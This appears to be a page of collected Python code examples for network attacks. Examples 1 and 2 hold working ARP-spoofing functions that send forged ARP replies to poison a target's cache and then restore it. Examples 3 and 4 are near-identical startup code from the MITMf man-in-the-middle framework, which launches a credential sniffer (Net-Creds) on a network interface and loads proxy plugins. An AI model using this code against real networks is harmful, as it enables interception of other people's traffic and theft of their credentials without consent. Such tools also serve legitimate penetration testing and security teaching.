Пример #1
0
 def _spoof(self, target, getway):
     target_mac = get_mac(ip=target)
     arp_response = ARP(pdst=target, hwdst=target_mac, psrc=getway, op='is-at')
     # get the MAC address
     self_mac = ARP().hwsrc
     # send the packet
     send(arp_response)
     self.cp.success(f"Sent to {target} : {getway} MAC {self_mac}")
Пример #2
0
 def _restore(self, target, getway):
     self.cp.warning(f"Stoping arp spoofing ...")
     target_mac = get_mac(ip=target)
     arp_response = ARP(pdst=target, hwdst=target_mac, psrc=getway, op='is-at')
     send(arp_response, verbose=0, count=7)
Пример #3
0
#Set the log level
logger().log_level = logging.__dict__[options.log_level.upper()]

from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)

from core.netcreds import NetCreds

if options.read_pcap:
    NetCreds().parse_pcap(options.read_pcap)

#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip  = get_ip(options.interface)
options.mac = get_mac(options.interface)

settings.Config.populate(options)

log.debug("MITMf started: {}".format(sys.argv))

#Start Net-Creds
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)

NetCreds().start(options.interface, options.ip)
print "|"
print "|_ Net-Creds v{} online".format(NetCreds.version)

from core.proxyplugins import ProxyPlugins

ProxyPlugins().all_plugins = plugins
Пример #4
0
logger().log_level = logging.__dict__[options.log_level.upper()]

from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(message)s",
                              datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MITMf", formatter)

from core.netcreds import NetCreds

if options.read_pcap:
    NetCreds().parse_pcap(options.read_pcap)

#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
from core.utils import get_ip, get_mac, shutdown
options.ip = get_ip(options.interface)
options.mac = get_mac(options.interface)

settings.Config.populate(options)

log.debug("MITMf started: {}".format(sys.argv))

#Start Net-Creds
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)

NetCreds().start(options.interface, options.ip)
print "|"
print "|_ Net-Creds v{} online".format(NetCreds.version)

from core.proxyplugins import ProxyPlugins

ProxyPlugins().all_plugins = plugins